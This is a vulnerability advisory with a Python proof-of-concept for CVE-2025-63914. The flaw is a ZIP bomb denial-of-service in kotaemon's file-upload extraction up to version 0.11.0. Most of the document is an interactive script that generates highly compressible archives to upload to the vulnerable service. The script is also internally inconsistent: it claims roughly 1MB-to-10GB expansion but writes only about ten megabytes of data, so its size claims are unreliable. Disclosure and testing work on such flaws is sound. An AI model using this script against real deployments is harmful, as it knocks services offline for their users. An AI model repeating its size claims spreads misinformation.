============================================================================================================================================= | # Title : Cinnamon kotaemon v 0.11.0 ZIP Bomb Vulnerability in Cinnamon/kotaemon - Proof of Concept | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) | | # Vendor : https://github.com/cinnamon/kotaemon | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/212312/ & CVE-2025-63914 [+] Summary : CVE-2025-63914 is a critical denial-of-service vulnerability in the Cinnamon/kotaemon application that allows authenticated attackers to upload malicious ZIP archives containing extreme compression ratios. The vulnerability exists in the _may_extract_zip function within \libs\ktem\ktem\index\file\ui.py, which performs ZIP file extraction without enforcing any limits on decompressed size, file count, or compression ratios. When exploited, this vulnerability enables attackers to create "ZIP bombs" - archives that appear small (kilobytes) but expand to enormous sizes (gigabytes or terabytes) when extracted. This triggers uncontrolled consumption of disk space, CPU, and memory resources, potentially leading to complete system unavailability and service crashes. All instances up to version 0.11.0 are affected, requiring immediate patching or mitigation implementation. [+] POC : python poc.py #!/usr/bin/env python3 import zipfile import os import sys import tempfile import shutil def create_simple_zip_bomb(output_file="zip_bomb.zip", compressed_size_mb=1, ratio=10000): """ Create a simple ZIP bomb with highly compressible data """ print(f"[*] Creating ZIP bomb: {output_file}") print(f"[*] Target compressed size: {compressed_size_mb}MB") print(f"[*] Target expansion ratio: 1:{ratio}") # Calculate uncompressed size uncompressed_size = compressed_size_mb * ratio * 1024 * 1024 print(f"[*] Expected uncompressed size: {uncompressed_size/(1024**3):.2f}GB") try: with zipfile.ZipFile(output_file, 'w', zipfile.ZIP_DEFLATED, compresslevel=9) as zipf: # Create highly compressible data (zeros) chunk_size = 1024 * 1024 # 1MB total_chunks = compressed_size_mb * 10 # Create multiple chunks for i in range(total_chunks): # Create compressible data (repeating zeros) compressible_data = b'\x00' * chunk_size zipf.writestr(f"bomb_file_{i:04d}.bin", compressible_data) # Progress indicator if i % 10 == 0: progress = (i + 1) / total_chunks * 100 sys.stdout.write(f"\r[*] Progress: {progress:.1f}%") sys.stdout.flush() print(f"\n[+] ZIP bomb created: {output_file}") # Show file info file_size = os.path.getsize(output_file) print(f"[+] Actual size: {file_size/(1024*1024):.2f}MB") # Verify the file with zipfile.ZipFile(output_file, 'r') as zipf: file_count = len(zipf.namelist()) total_size = sum(info.file_size for info in zipf.filelist) print(f"[+] Files in archive: {file_count}") print(f"[+] Total uncompressed size: {total_size/(1024**3):.2f}GB") if total_size > 0: print(f"[+] Compression ratio: {total_size/file_size:.0f}:1") return True except Exception as e: print(f"\n[-] Error: {e}") return False def create_quick_zip_bomb(): """ Create a quick test ZIP bomb (small for testing) """ print("[*] Creating quick test ZIP bomb...") output_file = "test_bomb.zip" try: with zipfile.ZipFile(output_file, 'w', zipfile.ZIP_DEFLATED, compresslevel=9) as zipf: # Add multiple highly compressible files for i in range(100): # 10KB of zeros (compresses to about 100 bytes) data = b'\x00' * (10 * 1024) zipf.writestr(f"file_{i:03d}.dat", data) print(f"[+] Created: {output_file}") # Show info size = os.path.getsize(output_file) print(f"[+] Size: {size} bytes ({size/1024:.1f}KB)") return True except Exception as e: print(f"[-] Error: {e}") return False def main(): print("=" * 60) print("CVE-2025-63914 - Zip Bomb Proof of Concept") print("FOR EDUCATIONAL AND AUTHORIZED TESTING ONLY") print("=" * 60) print() print("[!] WARNING: This creates potentially dangerous ZIP files") print("[!] Use only in controlled test environments") print("[!] Do NOT extract on production systems") print() print("Choose option:") print("1. Create simple ZIP bomb (1MB -> ~10GB)") print("2. Create quick test bomb (small, safe for testing)") print("3. Custom ZIP bomb") print("4. Exit") choice = input("\nEnter choice (1-4): ").strip() if choice == "1": create_simple_zip_bomb("zip_bomb.zip", 1, 10000) elif choice == "2": create_quick_zip_bomb() elif choice == "3": try: size = int(input("Enter compressed size in MB (e.g., 1): ")) ratio = int(input("Enter expansion ratio (e.g., 10000): ")) filename = input("Enter output filename (default: custom_bomb.zip): ").strip() if not filename: filename = "custom_bomb.zip" create_simple_zip_bomb(filename, size, ratio) except ValueError: print("[-] Invalid input") elif choice == "4": print("[-] Exiting") return else: print("[-] Invalid choice") print() print("[*] Done!") print("[!] REMINDER: For authorized security testing only") if __name__ == "__main__": main() Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================